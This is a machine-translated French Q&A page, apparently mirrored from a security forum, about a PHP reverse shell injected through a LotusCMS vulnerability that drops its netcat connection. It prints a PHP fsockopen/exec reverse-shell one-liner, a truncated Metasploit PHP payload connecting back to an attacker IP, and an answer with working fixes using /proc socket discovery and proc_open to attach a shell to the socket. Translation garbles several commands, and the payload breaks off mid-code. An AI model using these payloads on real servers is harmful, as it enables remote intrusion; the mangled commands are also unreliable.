web-dev-qa-db-fra.com

Inverse PHP Shell Déconnectant lorsque l'auditeur Netcat

Tout en effectuant un test de pénétration sur une boîte de test, je suis tombé sur une vulnérabilité concernant Louscms: https://www.exploit-db.com/exploits/18565

Plutôt que de compter sur Metasploit ou Meterpreter pour effectuer cet exploit, j'ai lu le code métasploitant et déterminé exactement comment il exploitait le paramètre de la page Web. En essayant d'utiliser l'inline PHP code (avec une netcat lister sur ma boîte d'attaque):

sock = fsockopen ("x.x.x.x", 1234); Exec ("/ bin/sh -i <& 3> & 3 2> et 3");

Le shell se connecte à l'auditeur Netcat mais est ensuite instantanément déposé.

Quelqu'un peut-il expliquer pourquoi Netcat goutte la coque inverse?

Mes connaissances de STDIN, STDOUT et STDERR sont-elles inexistantes? Cela pourrait-il être quelque chose à être avec la perte de la connexion?

J'utilise également base64 sur le script de shell inverse en ligne ci-dessus (pas sûr si cela affecte quoi que ce soit).

Merci d'avance!

Ceci est le code de la charge utile métasploit (décodé de base64):

/*<?php /**/ error_reporting(0); $ip = '192.168.0.82'; $port = 1337; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("base64: invalid input
1
Sn00py

Vous exécutez sur un serveur:

$sock=fsockopen("127.0.0.1",1234);
exec("/bin/sh -i <&3 >&3 2>&3");

alors que vous avez en même temps une écoute de Netcat sur 1234.

Premier numéro que je vois, votre code serveur est:

  • connexion à IP: Port
  • exécution/bin/sh -i avec entrée et sortie redirigé vers la FD 3 et renvoyer la dernière ligne (ne confondez pas PHP Exec avec Shell/C Exec ).

Maintenant, si la connexion ouverte avait la FD 3, la coque s'attachera à ce descripteur. Le prochain descripteur à ouvrir peut être FD 3. Toutefois, s'il est déjà ouvert, la nouvelle connexion aura un descripteur différent et votre coquille ne sera pas brancé de votre choix. Par exemple, le code ci-dessus fonctionne pour MI lors de l'exécution de PHP sur une CLI, mais pas lorsque PHP fonctionne comme module Apache (la prise est la FD 12 pour moi)

Nous pouvons utiliser cette commande plus longue pour connaître le descripteur de fichier de niveau le plus élevé et l'utiliser dans la redirection:

 passthru('FD=`ls /proc/self/fd | sort -rn | while read FD; do test -S /proc/self/fd/$FD && echo $FD && break; done`; /bin/sh -i <&$FD >&3 2>&$FD');

Cependant, cela a un inconvénient dans la coquille ne peut que rediriger les descripteurs 1-9 ainsi avec le descripteur 12, "<& 12" tenterait de rediriger le descripteur 1, pas 12. Et c'est une prise , nous ne pouvons pas ouvrir un nouveau descripteur à/dev/auto/fd/12 (aucun dispositif ou adresse de ce type)

Ainsi, plutôt que de fixer au filedescriptor sur le script de shell, il est beaucoup plus facile de le faire du côté PHP en utilisant une fonction différente pour exécuter la commande:

$sock = fsockopen("127.0.0.1",1234);
$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);

Fait intéressant, la coque reste ouverte même après la fin du script de joint, alors PHP max_execution_time n'est pas un problème.

2
Ángel